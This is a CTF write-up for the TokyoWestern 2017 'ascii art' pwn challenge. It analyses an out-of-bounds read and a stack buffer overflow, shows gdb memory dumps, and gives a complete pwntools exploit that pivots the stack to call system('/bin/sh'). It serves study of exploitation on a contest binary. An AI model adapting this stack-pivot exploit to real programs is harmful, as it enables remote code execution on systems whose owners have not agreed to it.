TokyoWestern Qualification 2017 PWN ASCII ART Write-up

Introduction

Points: 132 Solve: 32

I did not try to solve the challenge during the competition. Recently I picked this challenge as an exercise and found that it’s actually a very interesting challenge on stack buffer overflow.

Target Analysis

In this challenge, the attacker is only allowed to input one string and get the shell. The string will be processed by the target program and will be output with shadow (some art effect). So we have to analyse how target program processes the input string.

To give a direct view of the vulnerability of the target, we display part of the pseudo code below

static char input[0x100];

int main()
{
     output[0x6000];
     fgets(input, 0x100);
     assembler(output);
     for(i=0; i<6; i++)
     {
          puts(output[0x1000*i]);
     }
}

void assembler(char *buf)
{
    int level, diff;
    char *str;
    for(i=0; i<strlen(buf); i++)
    {
          if(buf[i]>=0x30 && buf[i]<=0x39)
          {
                diff = input[i]-0x30;
                level = 0;
                while(level <=5)
                {
                       str_4 = src[diff*6 + level];
                       strcat(buf[level*0x1000], str_4);
                }
          }
          else if(buf[i]>=0x41 && buf[i]<=0x5a)
          {
                diff = input[i] - 0x41 + 0xa;
                level = 0;
                while(level <=5)
                {
                       str_4 = src[diff*6 + level];
                       strcat(buf[level*0x1000], str_4);
                }
          }
          else if(buf[i]>=0x60)
          {
                diff = input[i] - 0x61 + 0xa;
                level = 0;
                while(level <=5)
                {
                       str = src[diff*6 + level];
                       strcat(buf[level*0x1000], str);
                }
          }
          else
          {
                //add padding byte to buf
          }
    }
}

In this pseudo code, there exists two buffer overflow vulnerabilities in the target, one out-of-bound read at line 46 and one out-of-bound write at line 47 in the pseudo code.
Out-out-bound read: In the target, address of src is 0x804c060 and address of input is 0x804c420. In the situation where input[i] is 0x7f, the value of str will be loaded to the value we have put in input string.
Out-of-bound write: From the stack layout, we can observe that the total size of the output buffer is 0x6000 and the buffer is cut into 6 levels and 0x1000 bytes at each level. Each level will be concatenated with a string according to input[i], and we can quickly observe that a long string (e.g. “A”*0x100) will trigger a stack buffer overflow.

Exploitation

Plan

20171101001
The basic idea is to use buffer overflow to overwrite a the return address on the stack. Since there exists system call in the target, we can jump to the system via preparing a pointer pointing to “/bin/sh” in stack. However, after view the epilogue procedure of the target (picture shown above), we find that it cannot be that easy.
The $esp register is set according to the value set at $ebp-0x4. Therefore, in the epilogue of the function, we expect to prepare the memory layout as shown below. And there comes to the interesting part of this challenge.

Breakpoint 7, 0x080489bc in ?? ()
(gdb) x/8wx $ebp-0x4
0xffa03044:	0x0804c510	0x0804c514	0x7f7f7f7f	0x7f7f7f7f
0xffa03054:	0x7f7f7f7f	0x7f7f7f7f	0x7f7f7f7f	0x7f7f7f7f
(gdb) c
Continuing.

Breakpoint 8, 0x080489c3 in ?? ()
(gdb) x/8wx $esp
0x804c50c:	0x08048970	0x0804c514	0x6e69622f	0x0a68732f
0x804c51c:	0x00000000	0x00000000	0x00000000	0x00000000

To assure that the stack will be overwritten as shown above, our final payload look like (A and B are two unknown variables):

payload = (Addr1)*5 + (Addr2) + "\x08"* A
          + fakeESP + fakeEBP + "\x7f" * (B+1)
          + paddingBytes + systemCall + binshAddr

Here Addr1 and Addr2 are two addresses for out-of-bound read. To avoid that the concatenation on first 5 levels in the stack will overwrite the string in the 6th level, Addr1 should be much larger than Addr2. At the same time, Addr2 should point to somewhere in the middle of the payload for stack overflow. In the end, we will get an equation about A and B.

0x1008 = FixedOffset
         + (0x18 + A + 8 + B + 1 - (Addr2 - 0x804c420)) * B
         + (0x18 + A - (Addr2 - 0x804c420))


In LHS, 0x1008 represents that we have to put 0x1008 bytes in the stack before we can put fakeESP and fakeEBP at desired location in memory. RHS seems a little bit complicated. FixedOffset represents the bytes put into stack of the part before “\x7f” bytes. The second line and the third line represents the bytes put into stack via strcat(buf[level*0x1000], Addr2).
According to our analysis, FixedOffset differs for different Addr2. In our final exploit, we pick Addr2 to be 0x804c431, A to be 56 and B to be 35.

Exploitation

from pwn import *
DEBUG = int(sys.argv[1])

log.info(DEBUG);
if(DEBUG == 0):
    r = remote("1.2.3.4", 1000);
elif(DEBUG == 1):
    r = process("./ascii");
elif(DEBUG == 2):
    r = process("./ascii");
    gdb.attach(r, '''source ./script''');

def exploit():
    buf = 0x804c420;
    binshAddr = 0x804c420 + 0xf4;
    systemcall = 0x8048970;
    fakeESP = 0x804c420 + 0xf0;
    fakeEBP = 0x804c420 + 0xf4;    

    payload = p32(buf+0x48)*5 + p32(buf+0x11) + '\x08'*56 + p32(fakeESP) + p32(fakeEBP);
    payload += "\x7f"*(35+1);
    curlength = len(payload);
    log.info("0x%x" % curlength);
    payload += "\x00"*(fakeESP -0x4 - buf - curlength) + p32(systemcall) + p32(binshAddr) + "/bin/sh"
    log.info("0x%x" % len(payload));
    r.recvuntil("Your Input:") ;
    r.sendline(payload);
    r.interactive();

exploit();

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.